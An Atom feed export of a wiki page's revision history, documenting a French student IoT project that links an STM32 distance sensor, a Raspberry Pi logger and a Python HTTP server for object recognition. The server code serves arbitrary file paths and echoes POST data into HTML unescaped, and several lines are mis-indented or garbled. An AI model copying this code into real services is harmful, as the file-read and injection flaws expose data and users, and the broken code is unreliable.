<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bnguyen1</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bnguyen1"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Bnguyen1"/>
	<updated>2026-05-15T00:57:19Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=4001</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=4001"/>
		<updated>2024-01-20T14:21:57Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Résumé de séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Résumé de séance =&lt;br /&gt;
&lt;br /&gt;
=== Séance 1 : ===&lt;br /&gt;
* Création et configuration de la VM sur Chassiron&lt;br /&gt;
* Installation de NanoEdge&lt;br /&gt;
* Installation de STM32cube&lt;br /&gt;
* Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
* Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
* Début de réflexion sur l'application (métrologie)&lt;br /&gt;
&lt;br /&gt;
=== Séance 2: ===&lt;br /&gt;
&lt;br /&gt;
* Mise en place du serveur python&lt;br /&gt;
&lt;br /&gt;
*Mise en place du client python&lt;br /&gt;
*Test réussi de communication entre client et serveur via http&lt;br /&gt;
*Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
*Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
*Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
*Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
*Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
&lt;br /&gt;
=== Séance 3: ===&lt;br /&gt;
*Entraînement d'un nouveau modèle.&lt;br /&gt;
*Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
&lt;br /&gt;
=== Séance 4 : ===&lt;br /&gt;
*Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
*Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.&lt;br /&gt;
**Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
**Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
*L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
*Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
**Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
= Programmation des interfaces du serveur =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Code du client Python :''' ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Index permettant d'afficher le json de test que nous avons envoyé au serveur :''' ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :''' ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Flash du capteur sur le logiciel STM32CubeIDE =&lt;br /&gt;
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&lt;br /&gt;
&lt;br /&gt;
On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.&lt;br /&gt;
&lt;br /&gt;
On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot   (pour chaque lignes/quadrillage sur une ligne)&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Code de récupération de donnée (sur la raspberry) =&lt;br /&gt;
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
# Événement pour signaler l'arrêt des threads&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
# Fonction de thread pour lire les données et les sauvegarder dans des fichiers&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    # Chemin du fichier pour les données initiales du capteur&lt;br /&gt;
    # Ces données sont vouées à ne pas être utilisées&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        # Créer un nouveau fichier pour chaque minute avec l'horodatage actuel&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        # Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Lire les données du port série&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        # Ouvrir le fichier de la minute actuelle et écrire les données&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            # S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            # Écrire les données dans le fichier&lt;br /&gt;
            fichier.write(string)&lt;br /&gt;
&lt;br /&gt;
# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)&lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
# Fonction principale&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    # Créer un objet pour la communication série&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
&lt;br /&gt;
    # Créer un thread pour la communication série&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    # Démarrer le thread de communication série&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    # Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)&lt;br /&gt;
&lt;br /&gt;
    # Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        # Vérifier si l'événement d'interruption est défini&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            # Attendre que le thread série se termine, puis sortir de la boucle&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        # Ajuster les valeurs de minute et d'heure pour l'heure précédente&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
&lt;br /&gt;
        # On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur&lt;br /&gt;
        # soit du bon format. On protège donc tout les \n du fichier avant son envoie.&lt;br /&gt;
        try:&lt;br /&gt;
            # Lire et modifier le contenu du fichier de la minute précédente&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de chemins de fichiers pour les 10 dernières minutes&lt;br /&gt;
        # Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        # Obtenir une liste de tous les fichiers dans le répertoire data&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de fichiers à supprimer&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        # Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
        # Supprimer les fichiers de la liste de suppression&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
# Point d'entrée du script&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Utilisation des programmes présentés ci-dessus =&lt;br /&gt;
Nous avons entrainé le programme pour reconnaitre[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3995</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3995"/>
		<updated>2024-01-20T14:07:54Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Résumé de séance =&lt;br /&gt;
* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
